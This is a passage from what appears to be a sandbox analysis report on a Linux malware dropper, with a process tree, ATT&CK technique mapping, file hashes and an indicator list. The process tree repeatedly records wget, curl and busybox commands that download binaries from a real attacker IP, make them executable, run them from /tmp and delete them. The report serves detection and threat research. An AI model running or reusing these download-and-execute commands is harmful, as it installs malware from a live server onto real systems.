  /bin/busybox wget http://87.120.84.230/bins/naBN6wyx80Xo1fdFv0pgsCwJFaanxRV45P
  2⤵
  PID:985
- /bin/chmod
  chmod 777 naBN6wyx80Xo1fdFv0pgsCwJFaanxRV45P
  2⤵
  - File and Directory Permissions Modification
  PID:986
- /tmp/naBN6wyx80Xo1fdFv0pgsCwJFaanxRV45P
  ./naBN6wyx80Xo1fdFv0pgsCwJFaanxRV45P
  2⤵
  - Executes dropped EXE
  PID:987
- /bin/rm
  rm naBN6wyx80Xo1fdFv0pgsCwJFaanxRV45P
  2⤵
  PID:988
- /usr/bin/wget
  wget http://87.120.84.230/bins/WJ37dAB08Pi7x9kb6rlip6QYKSdpMB5ouh
  2⤵
  - System Network Configuration Discovery
  PID:989
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/WJ37dAB08Pi7x9kb6rlip6QYKSdpMB5ouh
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:990
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/WJ37dAB08Pi7x9kb6rlip6QYKSdpMB5ouh
  2⤵
  - System Network Configuration Discovery
  PID:991
- /bin/chmod
  chmod 777 WJ37dAB08Pi7x9kb6rlip6QYKSdpMB5ouh
  2⤵
  - File and Directory Permissions Modification
  PID:992
- /tmp/WJ37dAB08Pi7x9kb6rlip6QYKSdpMB5ouh
  ./WJ37dAB08Pi7x9kb6rlip6QYKSdpMB5ouh
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:993
- /bin/rm
  rm WJ37dAB08Pi7x9kb6rlip6QYKSdpMB5ouh
  2⤵
  - System Network Configuration Discovery
  PID:994
- /usr/bin/wget
  wget http://87.120.84.230/bins/3Dlq44ljL99fzepItGPc41IZqo4gtwpBRo
  2⤵
  PID:995
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/3Dlq44ljL99fzepItGPc41IZqo4gtwpBRo
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:996
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/3Dlq44ljL99fzepItGPc41IZqo4gtwpBRo
  2⤵
  PID:997
- /bin/chmod
  chmod 777 3Dlq44ljL99fzepItGPc41IZqo4gtwpBRo
  2⤵
  - File and Directory Permissions Modification
  PID:998
- /tmp/3Dlq44ljL99fzepItGPc41IZqo4gtwpBRo
  ./3Dlq44ljL99fzepItGPc41IZqo4gtwpBRo
  2⤵
  - Executes dropped EXE
  PID:999
- /bin/rm
  rm 3Dlq44ljL99fzepItGPc41IZqo4gtwpBRo
  2⤵
  PID:1000
- /usr/bin/wget
  wget http://87.120.84.230/bins/52GOMiWktBxJaKJ1ws1fZXyprZZJ4JQsBd
  2⤵
  PID:1001
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/52GOMiWktBxJaKJ1ws1fZXyprZZJ4JQsBd
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:1002
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/52GOMiWktBxJaKJ1ws1fZXyprZZJ4JQsBd
  2⤵
  PID:1003
- /bin/chmod
  chmod 777 52GOMiWktBxJaKJ1ws1fZXyprZZJ4JQsBd
  2⤵
  - File and Directory Permissions Modification
  PID:1004
- /tmp/52GOMiWktBxJaKJ1ws1fZXyprZZJ4JQsBd
  ./52GOMiWktBxJaKJ1ws1fZXyprZZJ4JQsBd
  2⤵
  - Executes dropped EXE
  PID:1005
- /bin/rm
  rm 52GOMiWktBxJaKJ1ws1fZXyprZZJ4JQsBd
  2⤵
  PID:1006
- /usr/bin/wget
  wget http://87.120.84.230/bins/R7DKiHXXs4WZJD5xoMKWvQvd4fljtT1rtI
  2⤵
  PID:1007
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/R7DKiHXXs4WZJD5xoMKWvQvd4fljtT1rtI
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:1008
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/R7DKiHXXs4WZJD5xoMKWvQvd4fljtT1rtI
  2⤵
  PID:1009
- /bin/chmod
  chmod 777 R7DKiHXXs4WZJD5xoMKWvQvd4fljtT1rtI
  2⤵
  - File and Directory Permissions Modification
  PID:1010
- /tmp/R7DKiHXXs4WZJD5xoMKWvQvd4fljtT1rtI
  ./R7DKiHXXs4WZJD5xoMKWvQvd4fljtT1rtI
  2⤵
  - Executes dropped EXE
  PID:1011
- /bin/rm
  rm R7DKiHXXs4WZJD5xoMKWvQvd4fljtT1rtI
  2⤵
  PID:1012

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

naBN6wyx80Xo1fdFv0pgsCwJFaanxRV45P

Path /tmp/naBN6wyx80Xo1fdFv0pgsCwJFaanxRV45P
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/naBN6wyx80Xo1fdFv0pgsCwJFaanxRV45P	771	naBN6wyx80Xo1fdFv0pgsCwJFaanxRV45P
/tmp/WJ37dAB08Pi7x9kb6rlip6QYKSdpMB5ouh	777	WJ37dAB08Pi7x9kb6rlip6QYKSdpMB5ouh
/tmp/3Dlq44ljL99fzepItGPc41IZqo4gtwpBRo	790	3Dlq44ljL99fzepItGPc41IZqo4gtwpBRo
/tmp/52GOMiWktBxJaKJ1ws1fZXyprZZJ4JQsBd	818	52GOMiWktBxJaKJ1ws1fZXyprZZJ4JQsBd
/tmp/R7DKiHXXs4WZJD5xoMKWvQvd4fljtT1rtI	840	R7DKiHXXs4WZJD5xoMKWvQvd4fljtT1rtI
/tmp/xP8mEfT2Qu3msdVy7MeuuwceOFc6y7vmgg	846	xP8mEfT2Qu3msdVy7MeuuwceOFc6y7vmgg
/tmp/gWYKMLGy6OMSKUTTfGs8AFtbuoYS0AbX9a	864	gWYKMLGy6OMSKUTTfGs8AFtbuoYS0AbX9a
/tmp/anDqrPtlUE5aVPTNA93LDcpYxErHCbltz1	888	anDqrPtlUE5aVPTNA93LDcpYxErHCbltz1
/tmp/XSQB4lGGolQS4w9Khi83SqvNxAnAiun81w	894	XSQB4lGGolQS4w9Khi83SqvNxAnAiun81w
/tmp/7ob3Tnk0jwfjGaieyxsx9vjTwOFHZJ9BIQ	903	7ob3Tnk0jwfjGaieyxsx9vjTwOFHZJ9BIQ
/tmp/a957IkayQeJLHxXhTOVChTXid1jcJ6JMl0	909	a957IkayQeJLHxXhTOVChTXid1jcJ6JMl0
/tmp/L7R1aozUhtjtnaoLplFFp9YLs78TqjYxw8	915	L7R1aozUhtjtnaoLplFFp9YLs78TqjYxw8
/tmp/iPgUWq6iRbUWxapgXH9RYtQjrb6bzCdjMH	921	iPgUWq6iRbUWxapgXH9RYtQjrb6bzCdjMH
/tmp/m2Q8FKmWKmV6vAtgUThNmTXk0LEsT4adJS	927	m2Q8FKmWKmV6vAtgUThNmTXk0LEsT4adJS
/tmp/xP8mEfT2Qu3msdVy7MeuuwceOFc6y7vmgg	933	xP8mEfT2Qu3msdVy7MeuuwceOFc6y7vmgg
/tmp/gWYKMLGy6OMSKUTTfGs8AFtbuoYS0AbX9a	939	gWYKMLGy6OMSKUTTfGs8AFtbuoYS0AbX9a
/tmp/anDqrPtlUE5aVPTNA93LDcpYxErHCbltz1	945	anDqrPtlUE5aVPTNA93LDcpYxErHCbltz1
/tmp/XSQB4lGGolQS4w9Khi83SqvNxAnAiun81w	951	XSQB4lGGolQS4w9Khi83SqvNxAnAiun81w
/tmp/7ob3Tnk0jwfjGaieyxsx9vjTwOFHZJ9BIQ	957	7ob3Tnk0jwfjGaieyxsx9vjTwOFHZJ9BIQ
/tmp/a957IkayQeJLHxXhTOVChTXid1jcJ6JMl0	963	a957IkayQeJLHxXhTOVChTXid1jcJ6JMl0
/tmp/L7R1aozUhtjtnaoLplFFp9YLs78TqjYxw8	969	L7R1aozUhtjtnaoLplFFp9YLs78TqjYxw8
/tmp/iPgUWq6iRbUWxapgXH9RYtQjrb6bzCdjMH	975	iPgUWq6iRbUWxapgXH9RYtQjrb6bzCdjMH
/tmp/m2Q8FKmWKmV6vAtgUThNmTXk0LEsT4adJS	981	m2Q8FKmWKmV6vAtgUThNmTXk0LEsT4adJS
/tmp/naBN6wyx80Xo1fdFv0pgsCwJFaanxRV45P	987	naBN6wyx80Xo1fdFv0pgsCwJFaanxRV45P
/tmp/WJ37dAB08Pi7x9kb6rlip6QYKSdpMB5ouh	993	WJ37dAB08Pi7x9kb6rlip6QYKSdpMB5ouh
/tmp/3Dlq44ljL99fzepItGPc41IZqo4gtwpBRo	999	3Dlq44ljL99fzepItGPc41IZqo4gtwpBRo
/tmp/52GOMiWktBxJaKJ1ws1fZXyprZZJ4JQsBd	1005	52GOMiWktBxJaKJ1ws1fZXyprZZJ4JQsBd
/tmp/R7DKiHXXs4WZJD5xoMKWvQvd4fljtT1rtI	1011	R7DKiHXXs4WZJD5xoMKWvQvd4fljtT1rtI